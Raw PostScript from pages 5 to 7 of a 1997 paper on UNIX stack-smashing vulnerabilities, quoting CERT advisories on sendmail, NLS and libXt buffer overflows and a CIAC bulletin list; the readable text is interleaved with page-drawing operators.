-0.200 0 (Last revised: March 5, 1997)A ; 586 950 N M 6 71 rr : 0 0 0 sco O ; 4412 950 N M 6 71 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco F13_67 Ji 612 1021 M -0.200 0 ( Appendix A, updated NEC entry.)A ; 586 1021 N M 6 71 rr : 0 0 0 sco O ; 4412 1021 N M 6 71 rr : 0 0 0 sco O ; 586 1092 N M 6 71 rr : 0 0 0 sco O ; 4412 1092 N M 6 71 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco F13_67 Ji 612 1163 M -0.200 0 (Topic: MIME Conversion Buffer Overflow in Sendmail Versions 8.8.3 and 8.8.4)A ; 586 1163 N M 6 71 rr : 0 0 0 sco O ; 4412 1163 N M 6 71 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco F13_67 Ji 612 1234 M -0.200 0 (--------------------------------------------------------------------)A ; 586 1313 N M 6 6 rr : 0 0 0 sco O ; 586 1313 N M 6 6 rr : 0 0 0 sco O ; 592 1313 N M 3820 6 rr : 0 0 0 sco O ; 4412 1313 N M 6 6 rr : 0 0 0 sco O ; 4412 1313 N M 6 6 rr : 0 0 0 sco O ; 586 1234 N M 6 79 rr : 0 0 0 sco O ; 4412 1234 N M 6 79 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F11_67 Ji 612 2158 M -0.200 0 (ftp://info.cert.org/pub/cert_advisories/CA-97.11.libXt)A ; 586 2144 N M 6 6 rr : 0 0 0 sco O ; 586 2144 N M 6 6 rr : 0 0 0 sco O ; 592 2144 N M 3820 6 rr : 0 0 0 sco O ; 4412 2144 N M 6 6 rr : 0 0 0 sco O ; 4412 2144 N M 6 6 rr : 0 0 0 sco O ; 586 2150 N M 6 84 rr : 0 0 0 sco O ; 4412 2150 N M 6 84 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2234 M -0.200 0 (=====================================================================)A ; 586 2234 N M 6 71 rr : 0 0 0 sco O ; 4412 2234 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2305 M -0.200 0 (CERT* Advisory CA-97.11)A ; 586 2305 N M 6 71 rr : 0 0 0 sco O ; 4412 2305 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2376 M -0.200 0 (Original issue date: May 1, 1997)A ; 586 2376 N M 6 71 rr : 0 0 0 sco O ; 4412 2376 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2447 M -0.200 0 (Last revised: --)A ; 586 2447 N M 6 71 rr : 0 0 0 sco O ; 4412 2447 N M 6 71 rr : 0 0 0 sco O ; 586 2518 N M 6 71 rr : 0 0 0 sco O ; 4412 2518 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2589 M -0.200 0 (Topic: Vulnerability in libXt)A ; 586 2589 N M 6 71 rr : 0 0 0 sco O ; 4412 2589 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2660 M -0.200 0 (----------------------------------------------------------------------)A ; 586 2660 N M 6 71 rr : 0 0 0 sco O ; 4412 2660 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2731 M -0.200 0 (There have been discussions on public mailing lists about buffer overflows in the Xt library)A ; 586 2731 N M 6 71 rr : 0 0 0 sco O ; 4412 2731 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2802 M -0.200 0 (of the X Windowing System made freely available by The Open Group \(and previously by the now-)A ; 586 2802 N M 6 71 rr : 0 0 0 sco O ; 4412 2802 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2873 M -0.200 0 (defunct X Consortium\). The specific problem outlined in those discussions was a buffer)A ; 586 2873 N M 6 71 rr : 0 0 0 sco O ; 4412 2873 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 2944 M -0.200 0 (overflow condition in the Xt library, and the file xc/lib/Xt/Error.c. Exploitation scripts)A ; 586 2944 N M 6 71 rr : 0 0 0 sco O ; 4412 2944 N M 6 71 rr : 0 0 0 sco O ; : 511 2144 3982 956 rc 0 0 0 sco F13_67 Ji 612 3015 M -0.200 0 (were made available.)A ; 586 3094 N M 6 6 rr : 0 0 0 sco O ; 586 3094 N M 6 6 rr : 0 0 0 sco O ; 592 3094 N M 3820 6 rr : 0 0 0 sco O ; 4412 3094 N M 6 6 rr : 0 0 0 sco O ; 4412 3094 N M 6 6 rr : 0 0 0 sco O ; 586 3015 N M 6 79 rr : 0 0 0 sco O ; 4412 3015 N M 6 79 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 5 ]%%) = %%PageTrailer %%Page: 6 6 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (6)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2153 1820 M 0.100 0 (CERT example 3.1.c)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 2016 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 16.400 0 32 -0.400 0 (e )D (3.1.)S 16.400 0 32 -0.400 0 (c )D (d)S -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (il)A 15.900 0 32 0.100 0 (s )D 16.400 0 32 -0.400 0 (a )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 19.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 16.000 0 32 (n )W -0.200 0 (UN)A -2.300 0 (I)A 16.200 0 32 -0.200 0 (X )D (v)S -0.400 0 (e)A (ndo)S -0.300 0 (r)A 15.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 15.800 0 32 0.200 0 (t i)D (n)S -0.400 0 (c)A (o)S -0.300 0 (r)A (po)S -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A 16.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 16.400 0 32 -0.400 0 (e )D -0.200 0 (N)A -0.400 0 (a)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2193 M -2.100 0 (L)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 10.400 0 32 -0.400 0 (e )D 0.400 0 (S)A -0.400 0 (e)A -0.300 0 (r)A (v)S 0.200 0 (i)A 11.400 0 32 -0.400 0 (ce )D 0.200 0 (i)A (n)S 0.200 0 (t)A 11.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 11.300 0 32 -0.300 0 (r )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 11.000 0 32 (on. )W 0.100 0 (M)A (u)S -0.400 0 (c)A 11.000 0 32 (h )W 0.200 0 (li)A (k)S 11.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F5) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 2954 2193 M 0.100 0 (s)A -0.400 0 (e)A (nd)S -0.200 0 (m)A (a)S 0.200 0 (il)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3315 2193 M 11.000 0 32 ( vu)W 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 14.000 0 32 -3.000 0 (y )D (d)S 0.200 0 (i)A 0.100 0 (s)A -0.400 0 (c)A (u)S 0.100 0 (ss)A -0.400 0 (e)A 11.000 0 32 (d )W 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2370 M -0.112 0 (example 3.a, a stack smashing hole exists in a specific NLS binary.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2547 M 0.300 0 (C)A -2.300 0 (I)A -0.200 0 (A)A 18.700 0 32 0.300 0 (C )D 0.200 0 (i)A 18.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e )D -0.200 0 (U)A (.)S 0.400 0 (S)A 19.000 0 32 (. )W -0.200 0 (D)A -0.400 0 (e)A (p)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (tm)A -0.400 0 (e)A (n)S 19.800 0 32 0.200 0 (t )D (o)S 20.300 0 32 -0.300 0 (f )D -0.100 0 (E)A (n)S -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (g)A -3.000 0 (y)A -1.000 0 (')A 19.900 0 32 0.100 0 (s )D 0.300 0 (C)A (o)S 0.200 0 (m)A (pu)S 0.200 0 (t)A -0.400 0 (e)A 20.300 0 32 -0.300 0 (r )D -2.300 0 (I)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 19.800 0 32 0.200 0 (t )D -0.200 0 (A)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 23.000 0 32 -3.000 0 (y )D 0.300 0 (C)A -0.400 0 (a)A (p)S -0.400 0 (a)A (b)S 0.200 0 (ilit)A -3.000 0 (y)A 0.200 0 (;)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2724 M -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 10.000 0 32 (d )W 0.200 0 (i)A 10.000 0 32 (n 1989, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D (o)S -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (a)A (n)S 0.200 0 (i)A 0.600 0 (z)A -0.400 0 (a)A 0.200 0 (ti)A 10.000 0 32 (on p)W -0.300 0 (r)A (ov)S 0.200 0 (i)A (d)S -0.400 0 (e)A 9.900 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S 0.200 0 (m)A (pu)S 0.200 0 (t)A -0.400 0 (e)A 10.300 0 32 -0.300 0 (r )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 13.000 0 32 -3.000 0 (y )D 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A (v)S 0.200 0 (i)A -0.400 0 (ce)A 10.900 0 32 0.100 0 (s )D 0.200 0 (t)A 11.000 0 32 (o )W -0.400 0 (e)A 0.200 0 (m)A (p)S 0.200 0 (l)A (o)S -3.000 0 (y)A -0.400 0 (ee)A 10.900 0 32 0.100 0 (s )D -0.400 0 (a)A (nd)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2901 M -0.400 0 (c)A (on)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (t)A (o)S -0.300 0 (r)A 18.900 0 32 0.100 0 (s )D (o)S 19.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e )D -0.200 0 (U)A (n)S 0.200 0 (it)A -0.400 0 (e)A 20.000 0 32 (d )W 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 19.900 0 32 0.100 0 (s )D -0.200 0 (D)A -0.400 0 (e)A (p)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (tm)A -0.400 0 (e)A (n)S 19.800 0 32 0.200 0 (t )D (o)S 20.300 0 32 -0.300 0 (f )D -0.100 0 (E)A (n)S -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (g)A -3.000 0 (y)A 20.000 0 32 (. )W 0.300 0 (C)A -2.300 0 (I)A -0.200 0 (A)A 19.700 0 32 0.300 0 (C )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A (u)S 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (l)A 23.000 0 32 -3.000 0 (y )D (pub)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 19.900 0 32 0.100 0 (s )D (pub)S 0.200 0 (li)A -0.400 0 (c)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3078 M -0.400 0 (c)A (o)S 0.200 0 (m)A (pu)S 0.200 0 (t)A -0.400 0 (e)A 25.300 0 32 -0.300 0 (r )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 28.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 25.800 0 32 0.200 0 (t )D (bu)S 0.200 0 (ll)A -0.400 0 (e)A 0.200 0 (ti)A (n)S 25.900 0 32 0.100 0 (s )D -0.400 0 (a)A 26.000 0 32 (nd h)W -0.400 0 (a)A 25.900 0 32 0.100 0 (s )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (t)A -0.400 0 (e)A 26.000 0 32 (d )W 26.400 0 32 -0.400 0 (a )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 26.300 0 32 -0.300 0 (r )D (o)S 26.300 0 32 -0.300 0 (f )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 25.800 0 32 0.200 0 (t )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3255 M -0.094 0 (concerning buffer overflows[2]:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2158 5196 M 0.001 0 (CIAC example 3.1.d)A ; : 511 500 3982 1316 rc 0 0 0 sco %%IncludeFont: Courier-Bold (F7) cvn 0.836 (Courier-Bold) cvn /Type1 T (Courier-Bold) cvn mF (F7_67) cvn F7 67 xF F7_67 Ji 612 514 M -0.200 0 (-----------------------------------------------------------)A ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 592 500 N M 3820 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 586 506 N M 6 84 rr : 0 0 0 sco O ; 4412 506 N M 6 84 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F7_67 Ji 612 590 M -0.200 0 (ftp://info.cert.org/pub/cert_advisories/CA-97.10.nls)A ; 586 590 N M 6 76 rr : 0 0 0 sco O ; 4412 590 N M 6 76 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco %%IncludeFont: Courier (F9) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F9_67) cvn F9 67 xF F9_67 Ji 612 666 M -0.200 0 (======================================================================)A ; 586 666 N M 6 71 rr : 0 0 0 sco O ; 4412 666 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 737 M -0.200 0 (CERT* Advisory CA-97.10)A ; 586 737 N M 6 71 rr : 0 0 0 sco O ; 4412 737 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 808 M -0.200 0 (Original issue date: April 24, 1997)A ; 586 808 N M 6 71 rr : 0 0 0 sco O ; 4412 808 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 879 M -0.200 0 (Last revised: May 1, 1997)A ; 586 879 N M 6 71 rr : 0 0 0 sco O ; 4412 879 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 950 M -0.200 0 ( Section III and Appendex. Updated vendor information for)A ; 586 950 N M 6 71 rr : 0 0 0 sco O ; 4412 950 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1021 M -0.200 0 ( Hewlett-Packard Company.)A ; 586 1021 N M 6 71 rr : 0 0 0 sco O ; 4412 1021 N M 6 71 rr : 0 0 0 sco O ; 586 1092 N M 6 71 rr : 0 0 0 sco O ; 4412 1092 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1163 M -0.200 0 (Topic: Vulnerability in Natural Language Service)A ; 586 1163 N M 6 71 rr : 0 0 0 sco O ; 4412 1163 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1234 M -0.200 0 (---------------------------------------------------------------------)A ; 586 1234 N M 6 71 rr : 0 0 0 sco O ; 4412 1234 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1305 M -0.200 0 (The CERT Coordination Center has received reports of a buffer overflow condition that affects)A ; 586 1305 N M 6 71 rr : 0 0 0 sco O ; 4412 1305 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1376 M -0.200 0 (some libraries using the Natural Language Service \(NLS\) on UNIX systems. By exploiting this)A ; 586 1376 N M 6 71 rr : 0 0 0 sco O ; 4412 1376 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1447 M -0.200 0 (vulnerability, any local user can execute arbitrary programs as a privileged user. There is a)A ; 586 1447 N M 6 71 rr : 0 0 0 sco O ; 4412 1447 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1518 M -0.200 0 (possibility \(with some old libraries\) that the vulnerability can be exploited by a remote)A ; 586 1518 N M 6 71 rr : 0 0 0 sco O ; 4412 1518 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1589 M -0.200 0 (user.)A ; 586 1589 N M 6 71 rr : 0 0 0 sco O ; 4412 1589 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1660 M -0.200 0 (Exploitation information is publicly available.)A ; 586 1660 N M 6 71 rr : 0 0 0 sco O ; 4412 1660 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1316 rc 0 0 0 sco F9_67 Ji 612 1731 M -0.200 0 (-------------------------------------------------------)A ; 586 1810 N M 6 6 rr : 0 0 0 sco O ; 586 1810 N M 6 6 rr : 0 0 0 sco O ; 592 1810 N M 3820 6 rr : 0 0 0 sco O ; 4412 1810 N M 6 6 rr : 0 0 0 sco O ; 4412 1810 N M 6 6 rr : 0 0 0 sco O ; 586 1731 N M 6 79 rr : 0 0 0 sco O ; 4412 1731 N M 6 79 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F7_67 Ji 612 3540 M -0.200 0 (http://ciac.llnl.gov)A ; 586 3526 N M 6 6 rr : 0 0 0 sco O ; 586 3526 N M 6 6 rr : 0 0 0 sco O ; 592 3526 N M 3820 6 rr : 0 0 0 sco O ; 4412 3526 N M 6 6 rr : 0 0 0 sco O ; 4412 3526 N M 6 6 rr : 0 0 0 sco O ; 586 3532 N M 6 84 rr : 0 0 0 sco O ; 4412 3532 N M 6 84 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 3616 M -0.200 0 (---------------------------------------------------------------------)A ; 586 3616 N M 6 71 rr : 0 0 0 sco O ; 4412 3616 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 3687 M -0.200 0 ( What's New \(04/28/97\):)A ; 586 3687 N M 6 71 rr : 0 0 0 sco O ; 4412 3687 N M 6 71 rr : 0 0 0 sco O ; 586 3758 N M 6 71 rr : 0 0 0 sco O ; 4412 3758 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 3829 M -0.200 0 (NLS Buffer Overflow Vulnerability \(H-49\) Released \(04/28/97\))A ; 586 3829 N M 6 71 rr : 0 0 0 sco O ; 4412 3829 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 3900 M -0.200 0 (Internet Information Server Vulnerability \(H-48\) Released \(04/21/97\) New CIAC Internet Hoaxes)A ; 586 3900 N M 6 71 rr : 0 0 0 sco O ; 4412 3900 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 3971 M -0.200 0 (Page Updated \(04/17/97\))A ; 586 3971 N M 6 71 rr : 0 0 0 sco O ; 4412 3971 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4042 M -0.200 0 (Alert- AOL4FREE.COM Trojan Horse Program Destroys Hard Drives \(H-47a\) )A ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 3612 4042 M -0.200 0 (Released \(04/17/97\))A ; 586 4042 N M 6 71 rr : 0 0 0 sco O ; 4412 4042 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4113 M -0.200 0 (Vulnerability in IMAP and POP \(H-46\) Released \(04/10/97\))A ; 586 4113 N M 6 71 rr : 0 0 0 sco O ; 4412 4113 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4184 M -0.200 0 (Windows NT SAM permission Vulnerability \(H-45\) Released \(04/09/97\))A ; 586 4184 N M 6 71 rr : 0 0 0 sco O ; 4412 4184 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4255 M -0.200 0 (SPI for NT Version 97.03B Now Available \(04/02/97\))A ; 586 4255 N M 6 71 rr : 0 0 0 sco O ; 4412 4255 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4326 M -0.200 0 (Solaris 2.x fdformat Buffer Overflow Vulnerability \(H-44\) Release \(03/25/97\))A ; 586 4326 N M 6 71 rr : 0 0 0 sco O ; 4412 4326 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4397 M -0.200 0 (Alert- Update on the Vulnerability in innd \(H-43\) Released \(03/20/97\))A ; 586 4397 N M 6 71 rr : 0 0 0 sco O ; 4412 4397 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4468 M -0.200 0 (HP MPE/iX with ICMP Echo Request \(ping\) Vulnerabilities \(H-42\) Released \(03/20/97\))A ; 586 4468 N M 6 71 rr : 0 0 0 sco O ; 4412 4468 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4539 M -0.200 0 (Solaris 2.x eject Buffer Overrun Vulnerabilities \(H-41\) Released \(03/19/97\))A ; 586 4539 N M 6 71 rr : 0 0 0 sco O ; 4412 4539 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4610 M -0.200 0 (DIGITAL Security Vulnerabilities \(DoP, delta-time\) \(H-40\) Released \(03/11/97\))A ; 586 4610 N M 6 71 rr : 0 0 0 sco O ; 4412 4610 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4681 M -0.200 0 (SGI IRIX fsdump Vulnerability \(H-39\) Released \(03/11/97\))A ; 586 4681 N M 6 71 rr : 0 0 0 sco O ; 4412 4681 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4752 M -0.200 0 (Internet Explorer 3.x Vulnerabilities \(H-38a\) Released \(03/10/97\))A ; 586 4752 N M 6 71 rr : 0 0 0 sco O ; 4412 4752 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4823 M -0.200 0 (Solaris 2.x passwd buffer Overrun Vulnerability \(H-37\) Released \(03/04/97\))A ; 586 4823 N M 6 71 rr : 0 0 0 sco O ; 4412 4823 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4894 M -0.200 0 (FedCIRC now has its own Web site. Come visit, there is plenty to see!)A ; 586 4894 N M 6 71 rr : 0 0 0 sco O ; 4412 4894 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 4965 M -0.200 0 (DOE Awards a contract for a DOS/Windows Antivirus Product)A ; 586 4965 N M 6 71 rr : 0 0 0 sco O ; 4412 4965 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 5036 M -0.200 0 (1997 FIRST Conference announces a call for papers \(12/12/96\))A ; 586 5036 N M 6 71 rr : 0 0 0 sco O ; 4412 5036 N M 6 71 rr : 0 0 0 sco O ; : 511 3526 3982 1666 rc 0 0 0 sco F9_67 Ji 612 5107 M -0.200 0 (------------------------------------------------------------------)A ; 586 5186 N M 6 6 rr : 0 0 0 sco O ; 586 5186 N M 6 6 rr : 0 0 0 sco O ; 592 5186 N M 3820 6 rr : 0 0 0 sco O ; 4412 5186 N M 6 6 rr : 0 0 0 sco O ; 4412 5186 N M 6 6 rr : 0 0 0 sco O ; 586 5107 N M 6 79 rr : 0 0 0 sco O ; 4412 5107 N M 6 79 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 6 ]%%) = %%PageTrailer %%Page: 7 7 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (7)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 504 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 35.400 0 32 -0.400 0 (e )D 35.000 0 32 (3.1.d d)W -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (il)A 34.900 0 32 0.100 0 (s )D 35.400 0 32 -0.400 0 (a )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 35.300 0 32 -0.300 0 (r )D (o)S 35.300 0 32 -0.300 0 (f )D 0.400 0 (S)A (p)S -0.300 0 (r)A 0.200 0 (i)A (n)S 36.000 0 32 -1.000 0 (g )D 36.000 0 32 (1997 vu)W 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 39.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A (po)S -0.300 0 (r)A 0.200 0 (t)A 35.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (l)A (ud)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 